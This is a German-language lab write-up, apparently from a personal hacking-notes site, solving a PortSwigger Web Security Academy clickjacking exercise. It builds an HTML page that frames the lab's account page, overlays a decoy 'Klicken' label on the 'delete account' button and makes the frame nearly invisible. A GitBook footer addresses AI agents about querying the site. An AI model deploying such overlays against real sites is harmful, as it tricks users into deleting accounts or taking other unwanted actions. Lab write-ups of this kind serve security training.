> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/clickjacking/basic-clickjacking-with-csrf-protection.md).

# Grundlegendes Clickjacking mit CSRF-Schutz

### Grundlegendes Clickjacking mit CSRF-Token-Schutz

Dieses Lab enthält eine Verbindungsfunktion sowie eine Schaltfläche „Konto löschen“, die durch einen **CSRF-Token**. / Ziel ist es, den Benutzer dazu zu bringen, auf ein Element mit dem Wort "Click" auf einer Köderseite zu klicken, um sein Konto zu löschen.

**Bereitgestellte Zugangsdaten:**

* wiener : peter

Auf der Kontoseite finden wir die Funktion **Konto löschen**.

<figure><img src="/files/dfb7b383b0b413cd30aba28186c595688fd6b646" alt=""><figcaption></figcaption></figure>

Die Idee ist, ein **`<iframe>`** -Tag zu verwenden, um diese Seite in unsere eigene Website einzubetten und den Benutzer zu täuschen, indem er an der richtigen Stelle klickt.

```html
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Dieser Schritt ermöglicht es uns, die Zielseite auf unserer eigenen Website anzuzeigen.

<figure><img src="/files/8c099d80a2ab93bf89c549ae2fd92f4f4936c9b5" alt=""><figcaption></figcaption></figure>

Platziere irreführenden Text ("Click") genau über dem *Konto löschen* Knopf:

```html
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Klicken</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/f078fe74996dc5639fa1531797110f931d74a938" alt=""><figcaption></figcaption></figure>

Damit das Opfer die eigentliche Oberfläche nicht sieht, wird die **Transparenz** des Rahmens verringert:

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Klicken</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Wenn der untere Teil der Seite nicht angezeigt wird, liegt das wahrscheinlich am Fehlen des `frameborder="0"` Parameters oder an einer Website-Sicherheitsrichtlinie. / Das Erscheinungsbild kann wie folgt angepasst werden:

<figure><img src="/files/2bcee8094485abaf97e4e3ba92f5fd182f4a79de" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/clickjacking/basic-clickjacking-with-csrf-protection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
